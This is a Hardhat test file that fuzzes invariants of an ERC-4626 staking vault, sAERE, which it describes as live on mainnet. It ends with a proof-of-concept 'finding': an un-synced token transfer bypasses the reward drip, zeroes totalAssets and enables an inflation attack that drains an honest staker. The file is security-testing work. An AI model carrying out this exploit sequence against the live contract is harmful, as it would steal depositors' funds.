// =============================================================================
// SEEDED RANDOMIZED PROPERTY / STATEFUL-INVARIANT fuzzing for the LIVE sAERE
// vault (canonical mainnet 0xA2125bE9C6fd4196D9F94757Df18B3a2A5e650b0 —
// R6-hardened ERC-4626 staking receipt with a 7-day linear reward drip).
//
// Source under test: contracts/staking/sAERE.sol (matched to the live address
// via sdk-js/src/addresses.ts). Underlying = the real WAERE (contracts/WAERE.sol).
//
// TOOLCHAIN: hardhat-based randomized invariant fuzzing (NOT Foundry — `forge`
// is not installed and the repo builds through hardhat with OZ 4.9.6 + viaIR).
// Every random choice comes from mulberry32(seed); the base seed is printed at
// suite start and pinnable via FUZZ_SEED. On any break, the failing
// (campaign, step, actor, action, values) is embedded in the assertion message
// for a minimal repro.
//
// SCOPE: run this file in ISOLATION (the full suite OOM/segfaults on the
// unrelated ML-DSA PQC KAT tests):
//     npx hardhat test test/saere-4626-invariant-property.test.js
// No deploy to any live node, no contract-logic change, one new test file only.
//
// INVARIANTS FUZZED (exactly the sAERE brief):
//   * ERC-4626 convertToShares / convertToAssets are self-consistent with the
//     OZ virtual-offset formula, and monotonic non-decreasing in their arg.
//   * Rounding ALWAYS favors the vault: convertToAssets(convertToShares(x))<=x,
//     convertToShares(convertToAssets(s))<=s, previewMint>=previewRedeem,
//     previewWithdraw>=previewDeposit.
//   * SOLVENCY: totalAssets() never exceeds the vault's real WAERE balance, so
//     a depositor can never redeem more underlying than their shares back.
//   * ACCOUNTING: totalAssets == balance - undistributedReserve, the drip
//     reserve equals rewardRate*(periodFinish-now), and totalSupply reconciles
//     to the sum of every holder's shares (incl. the dead seed) across
//     interleaved deposit/mint/withdraw/redeem by multiple actors.
//   * deposit-then-immediate-redeem (no active drip) returns <= deposited.
//   * NO VALUE CREATION: cumulative WAERE paid out to actors never exceeds
//     cumulative WAERE they deposited plus total yield injected.
//   * Under yield-only (sink-path, always sync'd) inflows + time, the share
//     price (pricePerShare) is monotone NON-DECREASING.
//
// No em-dashes anywhere in this file.
// =============================================================================

const { expect } = require("chai");
const { ethers, network } = require("hardhat");
const { time } = require("@nomicfoundation/hardhat-network-helpers");

/* ------------------------------- seeded PRNG ------------------------------ */
function mulberry32(a) {
  return function () {
    a |= 0;
    a = (a + 0x6d2b79f5) | 0;
    let t = Math.imul(a ^ (a >>> 15), 1 | a);
    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  };
}
const BASE_SEED = process.env.FUZZ_SEED ? Number(process.env.FUZZ_SEED) : 0x5AE2E626;
function rngFor(tag, campaign) {
  let h = BASE_SEED ^ (campaign * 0x9e3779b1);
  for (let i = 0; i < tag.length; i++) h = (Math.imul(h, 31) + tag.charCodeAt(i)) | 0;
  return mulberry32(h >>> 0);
}
const ri = (rng, min, max) => min + Math.floor(rng() * (max - min + 1)); // inclusive
const pick = (rng, arr) => arr[Math.floor(rng() * arr.length)];
const chance = (rng, p) => rng() < p;

/* ------------------------------- misc helpers ----------------------------- */
const E = (n) => ethers.parseEther(String(n));
const MAXU = ethers.MaxUint256;
const DEAD_ADDRESS = "0x000000000000000000000000000000000000dEaD";
const DEAD_SEED = 1000n;
const OFFSET = 10n ** 6n; // sAERE._decimalsOffset() == 6

// OZ Math.mulDiv floor.
function mulDivFloor(x, y, d) {
  return (x * y) / d;
}

async function setBal(addr, amountWei) {
  await network.provider.send("hardhat_setBalance", [addr, "0x" + amountWei.toString(16)]);
}
async function latestTs() {
  return BigInt((await ethers.provider.getBlock("latest")).timestamp);
}

// Random asset amount: mix of sub-wei-scale dust, small, and fractional-ether
// values so rounding is stressed hard.
function rndAssets(rng) {
  const k = rng();
  if (k < 0.15) return BigInt(ri(rng, 1, 1_000_000)); // 1 wei .. 1e6 wei
  if (k < 0.5) return E(ri(rng, 1, 200));
  const num = E(ri(rng, 1, 50_000));
  return num / BigInt(ri(rng, 1, 997)); // fractional-ether, > 0
}

// Iteration counts (env-overridable so a quick smoke can shrink them).
const N = {
  GEN_CAMPAIGNS: Number(process.env.SAERE_GEN_CAMPAIGNS || 6),
  GEN_STEPS: Number(process.env.SAERE_GEN_STEPS || 70),
  YIELD_CAMPAIGNS: Number(process.env.SAERE_YIELD_CAMPAIGNS || 4),
  YIELD_STEPS: Number(process.env.SAERE_YIELD_STEPS || 55),
};

// =============================================================================
describe("INVARIANT: sAERE ERC-4626 staking-receipt vault (R6 drip)", function () {
  this.timeout(0);

  let signers, waereF, saereF;

  before(async function () {
    signers = await ethers.getSigners();
    waereF = await ethers.getContractFactory("WAERE");
    saereF = await ethers.getContractFactory("sAERE");
    console.log(
      `      [saere] base seed 0x${BASE_SEED.toString(16)} | ` +
        `${N.GEN_CAMPAIGNS}x${N.GEN_STEPS} general + ${N.YIELD_CAMPAIGNS}x${N.YIELD_STEPS} yield-only`
    );
  });

  // Fresh WAERE + sAERE. Mirrors the production deploy: the deployer must hold
  // and pre-approve the 1000-wei dead-share seed to the future sAERE address.
  async function deployStack() {
    const deployer = signers[0];
    const waere = await waereF.deploy();
    await waere.waitForDeployment();

    const nonce = await ethers.provider.getTransactionCount(deployer.address);
    const futureSaere = ethers.getCreateAddress({ from: deployer.address, nonce: nonce + 2 });
    await (await waere.connect(deployer).deposit({ value: DEAD_SEED })).wait();
    await (await waere.connect(deployer).approve(futureSaere, DEAD_SEED)).wait();

    const saere = await saereF.deploy(await waere.getAddress());
    await saere.waitForDeployment();
    expect(await saere.getAddress(), "future-address prediction drifted").to.equal(futureSaere);
    return { waere, saere, saereAddr: await saere.getAddress(), waereAddr: await waere.getAddress() };
  }

  // sample points for convert consistency / monotonicity / round-trip.
  const XS = [1n, 1000n, E(1), (E(1) * 7n) / 3n, E(12345)]; // assets
  const SS = [1n, 1_000_000n, E(1), (E(1) * 5n) / 2n, E(9999)]; // shares

  // The full invariant battery. `state` carries cumulative accounting.
  async function assertInvariants(ctx, saere, waere, saereAddr, actors, state, checkPriceMono) {
    const TS = await saere.totalSupply();
    const bal = await waere.balanceOf(saereAddr);
    const TA = await saere.totalAssets();
    const as = await saere.atomicState();
    // as = [balance, totalAssets_, undistributed, totalSupply_, rewardRate_, periodFinish_, lastObservedBalance_]
    const asBal = as[0], asTA = as[1], asUnd = as[2], asTS = as[3], asRR = as[4], asPF = as[5];
    const now = await latestTs();

    // ---- accounting: atomicState agrees with the individual getters ----
    expect(asBal, `[saere ATOMIC-bal] ${ctx}`).to.equal(bal);
    expect(asTA, `[saere ATOMIC-ta] ${ctx}`).to.equal(TA);
    expect(asTS, `[saere ATOMIC-ts] ${ctx}`).to.equal(TS);

    // ---- drip math: undistributed == rewardRate*(periodFinish-now) or 0 ----
    const expUnd = now < asPF ? asRR * (asPF - now) : 0n;
    expect(asUnd, `[saere DRIP] undistributed != rate*remaining ${ctx} rr=${asRR} pf=${asPF} now=${now}`)
      .to.equal(expUnd);

    // ---- totalAssets == balance - undistributedReserve (never underflowing) ----
    const expTA = bal > asUnd ? bal - asUnd : 0n;
    expect(TA, `[saere TA-DEF] totalAssets != balance-undistributed ${ctx} bal=${bal} und=${asUnd}`)
      .to.equal(expTA);

    // ---- SOLVENCY: the vault never claims more assets than it actually holds.
    //      This is what guarantees a redeemer can be paid in full. ----
    expect(TA, `[saere SOLVENCY] totalAssets > WAERE balance ${ctx} TA=${TA} bal=${bal}`).to.be.lte(bal);
    // NOTE: `undistributed <= balance` is deliberately NOT asserted here — it is
    // VIOLATED by an un-synced arrival and is captured as a standalone finding in
    // the "FINDING (drip double-count)" test below. See that test for the repro.

    // ---- supply reconciliation: totalSupply == deadSeed + sum(holder shares) ----
    let sumShares = DEAD_SEED;
    for (const a of actors) sumShares += await saere.balanceOf(a.address);
    expect(sumShares, `[saere SUPPLY] totalSupply != sum of balances ${ctx}`).to.equal(TS);

    // ---- convert consistency with the OZ virtual-offset formula ----
    for (const x of XS) {
      const onShares = await saere.convertToShares(x);
      const expShares = mulDivFloor(x, TS + OFFSET, TA + 1n);
      expect(onShares, `[saere C2S] convertToShares(${x}) != formula ${ctx} TS=${TS} TA=${TA}`).to.equal(expShares);
      // preview identity (down-rounding path).
      expect(await saere.previewDeposit(x), `[saere PREVIEW-DEP] ${ctx}`).to.equal(onShares);
      // withdraw rounds shares UP -> never fewer than a deposit would mint.
      expect(await saere.previewWithdraw(x), `[saere PREVIEW-WD] withdraw shares < deposit shares ${ctx}`).to.be.gte(onShares);
      // round-trip favors the vault.
      const back = await saere.convertToAssets(onShares);
      expect(back, `[saere RT-A] convertToAssets(convertToShares(${x})) > x ${ctx} back=${back}`).to.be.lte(x);
    }
    for (const s of SS) {
      const onAssets = await saere.convertToAssets(s);
      const expAssets = mulDivFloor(s, TA + 1n, TS + OFFSET);
      expect(onAssets, `[saere C2A] convertToAssets(${s}) != formula ${ctx} TS=${TS} TA=${TA}`).to.equal(expAssets);
      expect(await saere.previewRedeem(s), `[saere PREVIEW-RDM] ${ctx}`).to.equal(onAssets);
      // mint rounds assets UP -> costs at least what a redeem would return.
      expect(await saere.previewMint(s), `[saere PREVIEW-MINT] mint assets < redeem assets ${ctx}`).to.be.gte(onAssets);
      const back = await saere.convertToShares(onAssets);
      expect(back, `[saere RT-S] convertToShares(convertToAssets(${s})) > s ${ctx} back=${back}`).to.be.lte(s);
    }

    // ---- monotonicity of both conversions in their argument (fixed state) ----
    for (let i = 1; i < XS.length; i++) {
      expect(await saere.convertToShares(XS[i]), `[saere MONO-S] convertToShares not monotone ${ctx}`)
        .to.be.gte(await saere.convertToShares(XS[i - 1]));
    }
    for (let i = 1; i < SS.length; i++) {
      expect(await saere.convertToAssets(SS[i]), `[saere MONO-A] convertToAssets not monotone ${ctx}`)
        .to.be.gte(await saere.convertToAssets(SS[i - 1]));
    }

    // ---- NO VALUE CREATION: actors never collectively withdraw more than the
    //      total real WAERE that ever entered the vault = deposits + yield + the
    //      1000-wei dead seed (put in by the deployer at construction). This is
    //      the exact conservation bound (balance = seed+dep+yield-withdrawn >= 0).
    expect(
      state.withdrawn,
      `[saere NO-CREATE] withdrawn ${state.withdrawn} > deposited ${state.deposited} + yield ${state.yield} + seed ${DEAD_SEED} ${ctx}`
    ).to.be.lte(state.deposited + state.yield + DEAD_SEED);

    // ---- optional: share price monotone non-decreasing (yield-only campaigns) ----
    if (checkPriceMono) {
      const pps = await saere.pricePerShare();
      expect(pps, `[saere PRICE-MONO] pricePerShare dropped ${ctx} prev=${state.prevPrice} now=${pps}`)
        .to.be.gte(state.prevPrice);
      state.prevPrice = pps;
    }
  }

  async function fundActors(waere, saereAddr, actors) {
    for (const a of actors) {
      await setBal(a.address, E("100000000000"));
      await (await waere.connect(a).deposit({ value: E("1000000000") })).wait();
      await (await waere.connect(a).approve(saereAddr, MAXU)).wait();
    }
  }

  // sink-path yield: transfer WAERE in then ping sync() (exactly what AereSink
  // does). Returns the injected amount.
  async function injectYield(waere, saere, saereAddr, feeder, y) {
    await (await waere.connect(feeder).deposit({ value: y })).wait();
    await (await waere.connect(feeder).transfer(saereAddr, y)).wait();
    await (await saere.sync()).wait();
    return y;
  }

  // -------------------------------------------------------------------------
  it("general interleaving: solvency, accounting, rounding-favors-vault, no value creation", async function () {
    let steps = 0, deposits = 0, mints = 0, withdraws = 0, redeems = 0, yields = 0, donations = 0, instantRT = 0;

    for (let c = 0; c < N.GEN_CAMPAIGNS; c++) {
      const rng = rngFor("gen", c);
      const { waere, saere, saereAddr } = await deployStack();
      const actors = [signers[1], signers[2], signers[3], signers[4], signers[5]];
      const feeder = signers[9];
      await setBal(feeder.address, E("100000000000"));
      await fundActors(waere, saereAddr, actors);

      const state = { deposited: 0n, withdrawn: 0n, yield: 0n, prevPrice: 0n };
      await assertInvariants(`c${c} init`, saere, waere, saereAddr, actors, state);

      // Guaranteed instant round-trip on the fresh (drip-inactive) vault: a
      // deposit immediately redeemed can never return more than was put in.
      {
        const rt = pick(rng, actors);
        const a = E(ri(rng, 1, 1000));
        const shBefore = await saere.balanceOf(rt.address);
        const bBefore = await waere.balanceOf(saereAddr);
        await (await saere.connect(rt).deposit(a, rt.address)).wait();
        state.deposited += (await waere.balanceOf(saereAddr)) - bBefore;
        const minted = (await saere.balanceOf(rt.address)) - shBefore;
        if (minted > 0n) {
          const b2 = await waere.balanceOf(saereAddr);
          await (await saere.connect(rt).redeem(minted, rt.address, rt.address)).wait();
          const out = b2 - (await waere.balanceOf(saereAddr));
          state.withdrawn += out;
          expect(out, `[saere INSTANT-RT-INIT] c${c} deposit(${a})->redeem out=${out}`).to.be.lte(a);
          instantRT++;
        }
        await assertInvariants(`c${c} init-rt`, saere, waere, saereAddr, actors, state);
      }

      for (let s = 0; s < N.GEN_STEPS; s++) {
        const action = pick(rng, [
          "deposit", "deposit", "mint", "withdraw", "redeem", "redeem",
          "yield", "yield", "donate", "advance", "sync", "instantRT",
        ]);
        const actor = pick(rng, actors);
        const ctx = `c${c} s${s} actor=${actor.address.slice(0, 8)} action=${action}`;

        try {
          if (action === "deposit") {
            const a = rndAssets(rng);
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).deposit(a, actor.address)).wait();
            state.deposited += (await waere.balanceOf(saereAddr)) - before;
            deposits++;
          } else if (action === "mint") {
            const sh = rndAssets(rng); // interpret as target shares
            const need = await saere.previewMint(sh);
            if (need > (await waere.balanceOf(actor.address))) { steps++; continue; }
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).mint(sh, actor.address)).wait();
            state.deposited += (await waere.balanceOf(saereAddr)) - before;
            mints++;
          } else if (action === "withdraw") {
            const maxW = await saere.maxWithdraw(actor.address);
            if (maxW === 0n) { steps++; continue; }
            const a = maxW === 1n ? 1n : BigInt(ri(rng, 1, 1_000_000)) * maxW / 1_000_000n;
            const amt = a === 0n ? 1n : a;
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).withdraw(amt, actor.address, actor.address)).wait();
            state.withdrawn += before - (await waere.balanceOf(saereAddr));
            withdraws++;
          } else if (action === "redeem") {
            const shBal = await saere.balanceOf(actor.address);
            if (shBal === 0n) { steps++; continue; }
            const sh = chance(rng, 0.35) ? shBal : (BigInt(ri(rng, 1, 1_000_000)) * shBal) / 1_000_000n;
            const amt = sh === 0n ? 1n : sh;
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).redeem(amt, actor.address, actor.address)).wait();
            state.withdrawn += before - (await waere.balanceOf(saereAddr));
            redeems++;
          } else if (action === "yield") {
            const y = rndAssets(rng);
            state.yield += await injectYield(waere, saere, saereAddr, feeder, y);
            yields++;
          } else if (action === "donate") {
            // unsynced direct transfer (not the intended path; solvency + no-creation
            // must still hold even though the share price briefly reads high).
            const y = rndAssets(rng);
            await (await waere.connect(feeder).deposit({ value: y })).wait();
            await (await waere.connect(feeder).transfer(saereAddr, y)).wait();
            state.yield += y;
            donations++;
          } else if (action === "advance") {
            await time.increase(ri(rng, 1, 3 * 24 * 60 * 60)); // up to 3 days
            await network.provider.send("evm_mine");
          } else if (action === "sync") {
            await (await saere.sync()).wait();
          } else if (action === "instantRT") {
            // deposit-then-immediate-redeem must never return more than deposited,
            // but ONLY when there is no active drip and no pending unsynced arrival
            // (otherwise legitimate vesting accrues to the shares between the two txs).
            const as = await saere.atomicState();
            if (as[2] === 0n && as[6] === as[0]) {
              const a = E(ri(rng, 1, 500));
              const shBefore = await saere.balanceOf(actor.address);
              const balBefore = await waere.balanceOf(saereAddr);
              await (await saere.connect(actor).deposit(a, actor.address)).wait();
              state.deposited += (await waere.balanceOf(saereAddr)) - balBefore;
              // exactly the shares this deposit minted for the actor.
              const minted = (await saere.balanceOf(actor.address)) - shBefore;
              if (minted > 0n) {
                const b2 = await waere.balanceOf(saereAddr);
                await (await saere.connect(actor).redeem(minted, actor.address, actor.address)).wait();
                const out = b2 - (await waere.balanceOf(saereAddr));
                state.withdrawn += out;
                expect(out, `[saere INSTANT-RT] deposit(${a})->redeem returned ${out} > deposit ${a} ${ctx}`).to.be.lte(a);
                instantRT++;
              }
            }
          }
        } catch (e) {
          // Reverts on edge amounts (e.g. rounding to 0 shares/assets) are legal;
          // the invariant battery below still runs on the unchanged state.
          if (/INVARIANT|saere [A-Z]/.test(String(e.message))) throw e;
        }

        await assertInvariants(ctx, saere, waere, saereAddr, actors, state);
        steps++;
      }

      // ---- finale: vest everything, then everyone redeems in full. The vault
      //      must remain solvent and no actor can have extracted more than in. ----
      await time.increase(8 * 24 * 60 * 60); // > DRIP_DURATION
      await network.provider.send("evm_mine");
      await (await saere.sync()).wait();
      for (const a of actors) {
        const shBal = await saere.balanceOf(a.address);
        if (shBal > 0n) {
          const before = await waere.balanceOf(saereAddr);
          await (await saere.connect(a).redeem(shBal, a.address, a.address)).wait();
          state.withdrawn += before - (await waere.balanceOf(saereAddr));
        }
      }
      await assertInvariants(`c${c} finale`, saere, waere, saereAddr, actors, state);
      // Every actor share is gone; only the dead seed remains.
      expect(state.withdrawn, `[saere FINALE-CONSERVE] c${c}`).to.be.lte(state.deposited + state.yield + DEAD_SEED);
    }

    console.log(
      `      [saere gen] steps=${steps} dep=${deposits} mint=${mints} wd=${withdraws} rdm=${redeems} ` +
        `yield=${yields} donate=${donations} instantRT=${instantRT}`
    );
    expect(steps).to.be.greaterThan(300);
    expect(deposits + mints).to.be.greaterThan(40);
    expect(redeems + withdraws).to.be.greaterThan(40);
    expect(instantRT).to.be.greaterThan(0);
  });

  // -------------------------------------------------------------------------
  it("yield-only (sink-path, always sync'd): share price is monotone non-decreasing", async function () {
    let steps = 0, yields = 0, ops = 0, priceRises = 0;

    for (let c = 0; c < N.YIELD_CAMPAIGNS; c++) {
      const rng = rngFor("yield", c);
      const { waere, saere, saereAddr } = await deployStack();
      const actors = [signers[1], signers[2], signers[3]];
      const feeder = signers[9];
      await setBal(feeder.address, E("100000000000"));
      await fundActors(waere, saereAddr, actors);

      const state = { deposited: 0n, withdrawn: 0n, yield: 0n, prevPrice: 0n };
      // seed some real stake so the price is meaningful (counted into deposited).
      for (const a of actors) {
        const before = await waere.balanceOf(saereAddr);
        await (await saere.connect(a).deposit(E(ri(rng, 100, 5000)), a.address)).wait();
        state.deposited += (await waere.balanceOf(saereAddr)) - before;
      }
      state.prevPrice = await saere.pricePerShare();
      await assertInvariants(`yc${c} init`, saere, waere, saereAddr, actors, state, true);

      for (let s = 0; s < N.YIELD_STEPS; s++) {
        const action = pick(rng, ["yield", "yield", "yield", "advance", "advance", "deposit", "withdraw", "redeem"]);
        const actor = pick(rng, actors);
        const ctx = `yc${c} s${s} action=${action}`;
        const priceBefore = await saere.pricePerShare();

        try {
          if (action === "yield") {
            state.yield += await injectYield(waere, saere, saereAddr, feeder, rndAssets(rng));
            yields++;
          } else if (action === "advance") {
            await time.increase(ri(rng, 1, 2 * 24 * 60 * 60));
            await network.provider.send("evm_mine");
          } else if (action === "deposit") {
            const a = rndAssets(rng);
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).deposit(a, actor.address)).wait();
            state.deposited += (await waere.balanceOf(saereAddr)) - before;
            ops++;
          } else if (action === "withdraw") {
            const maxW = await saere.maxWithdraw(actor.address);
            if (maxW > 1n) {
              const amt = (BigInt(ri(rng, 1, 900_000)) * maxW) / 1_000_000n || 1n;
              const before = await waere.balanceOf(saereAddr);
              await (await saere.connect(actor).withdraw(amt, actor.address, actor.address)).wait();
              state.withdrawn += before - (await waere.balanceOf(saereAddr));
              ops++;
            }
          } else if (action === "redeem") {
            const shBal = await saere.balanceOf(actor.address);
            if (shBal > 0n) {
              const sh = (BigInt(ri(rng, 1, 900_000)) * shBal) / 1_000_000n || 1n;
              const before = await waere.balanceOf(saereAddr);
              await (await saere.connect(actor).redeem(sh, actor.address, actor.address)).wait();
              state.withdrawn += before - (await waere.balanceOf(saereAddr));
              ops++;
            }
          }
        } catch (e) {
          if (/INVARIANT|saere [A-Z]/.test(String(e.message))) throw e;
        }

        const priceAfter = await saere.pricePerShare();
        if (priceAfter > priceBefore) priceRises++;
        await assertInvariants(ctx, saere, waere, saereAddr, actors, state, true);
        steps++;
      }
    }

    console.log(`      [saere yield] steps=${steps} yields=${yields} ops=${ops} priceRises=${priceRises}`);
    expect(steps).to.be.greaterThan(150);
    expect(yields).to.be.greaterThan(30);
    expect(priceRises).to.be.greaterThan(0); // yield genuinely lifted the rate
  });

  // -------------------------------------------------------------------------
  // FINDING (drip double-count / un-synced arrival). Deterministic minimal repro.
  //
  // The fuzzer (seed 0x3039 among others) breaks `undistributed <= balance`. Root
  // cause: OZ 4.9.6 computes previewRedeem/maxWithdraw BEFORE _withdraw runs the
  // vault's sync(). A raw WAERE transfer into the vault (an "arrival" that did NOT
  // go through AereSink.flush, which is the ONLY inflow that syncs atomically) is:
  //   (1) counted in totalAssets() the instant it lands (totalAssets = rawBalance
  //       minus a reserve that does not yet know about the arrival), so it is
  //       immediately redeemable — DEFEATING the R5 HIGH-1 7-day anti-sandwich drip
  //       ("the share price cannot jump in a single block"); and
  //   (2) simultaneously re-booked into the drip reserve by the sync() that runs
  //       INSIDE the same redeem's _withdraw — so the same WAERE is counted twice:
  //       paid out to the redeemer AND locked into `undistributed`. A large-enough
  //       redeem then leaves undistributed > balance, so totalAssets() clamps to 0.
  //   (3) totalAssets()==0 with live shares re-opens the exact ERC-4626 inflation
  //       attack that R5 HIGH-4 (dead-seed + _decimalsOffset=6) was deployed to
  //       stop: the next depositor mints astronomically many shares and, once the
  //       phantom reserve vests, drains honest stakers.
  //
  // Reachable by ANY address on mainnet: WAERE is a standard ERC-20, so
  // `WAERE.transfer(sAERE, x)` creates an un-synced arrival at will.
  it("FINDING (drip double-count): un-synced WAERE arrival bypasses the drip, zeroes totalAssets, re-enables inflation", async function () {
    const [deployer, alice, bob, feeder, attacker] = signers;
    const { waere, saere, saereAddr } = await deployStack();
    for (const s of [alice, bob, feeder, attacker]) {
      await setBal(s.address, E("100000000000"));
      await (await waere.connect(s).deposit({ value: E("1000000") })).wait();
      await (await waere.connect(s).approve(saereAddr, MAXU)).wait();
    }

    // Two honest co-stakers, 50/50. Design intent: any later reward drips to BOTH
    // over 7 days, 50/50.
    await (await saere.connect(alice).deposit(E(100), alice.address)).wait();
    await (await saere.connect(bob).deposit(E(100), bob.address)).wait();
    const taBefore = await saere.totalAssets(); // ~200e18

    // (1) A raw un-synced donation of 1000 WAERE. It should NOT be instantly
    //     recognized (drip), yet totalAssets jumps by the full amount immediately.
    await (await waere.connect(feeder).transfer(saereAddr, E(1000))).wait();
    const taAfterDonation = await saere.totalAssets();
    expect(taAfterDonation - taBefore, "[FINDING] un-synced donation not counted in totalAssets")
      .to.be.gte(E(999)); // full ~1000 jump in a single block -> drip bypassed on the READ

    // (2) Alice redeems ALL her shares in the same block, before anyone syncs. She
    //     receives ~600 (100 principal + her entire 500 reward) with ZERO drip wait.
    const aliceShares = await saere.balanceOf(alice.address);
    const aBefore = await waere.balanceOf(alice.address);
    await (await saere.connect(alice).redeem(aliceShares, alice.address, alice.address)).wait();
    const aliceGain = (await waere.balanceOf(alice.address)) - aBefore;
    expect(aliceGain, "[FINDING] whale did not instantly capture the un-dripped reward")
      .to.be.gte(E(590)); // deposited 100, extracted ~600 in one block

    // (2b) The same donation is now ALSO sitting in the drip reserve: undistributed
    //      exceeds the vault balance and totalAssets() has collapsed to 0.
    const as = await saere.atomicState(); // [bal, TA, und, TS, rr, pf, lob]
    expect(as[2], "[FINDING] reserve NOT double-counted (und<=bal held)").to.be.gt(as[0]);
    expect(as[1], "[FINDING] totalAssets did not collapse to 0").to.equal(0n);

    // (2c) Bob, an honest passive 50% staker owed ~600, is now worth NOTHING.
    const bobShares = await saere.balanceOf(bob.address);
    expect(await saere.previewRedeem(bobShares), "[FINDING] bob's shares not zeroed").to.equal(0n);

    // (3) Inflation follow-on: while totalAssets()==0, a 1-WAERE deposit mints an
    //     astronomically large share balance; after the phantom reserve vests the
    //     attacker redeems far more than paid, draining the honest staker.
    const atk0 = await saere.balanceOf(attacker.address);
    await (await saere.connect(attacker).deposit(E(1), attacker.address)).wait();
    const atkMinted = (await saere.balanceOf(attacker.address)) - atk0;
    expect(atkMinted, "[FINDING] inflation mint not triggered").to.be.gt(E(1) * (10n ** 18n)); // >> normal
    await time.increase(8 * 24 * 60 * 60); // vest the phantom reserve
    await network.provider.send("evm_mine");
    await (await saere.sync()).wait();
    const atkOut = await saere.previewRedeem(atkMinted);
    const bobOut = await saere.previewRedeem(await saere.balanceOf(bob.address));
    expect(atkOut, "[FINDING] attacker did not extract more than deposited").to.be.gte(E(500)); // paid 1, redeems ~600
    expect(bobOut, "[FINDING] honest staker not drained").to.be.lt(E(1)); // owed ~600, left with dust

    console.log(
      `      [saere FINDING] taJump=${ethers.formatEther(taAfterDonation - taBefore)} ` +
        `aliceGain=${ethers.formatEther(aliceGain)} und=${ethers.formatEther(as[2])} bal=${ethers.formatEther(as[0])} ` +
        `TA0=${as[1]} atkPaid=1 atkOut=${ethers.formatEther(atkOut)} bobOut=${ethers.formatEther(bobOut)}`
    );
  });
});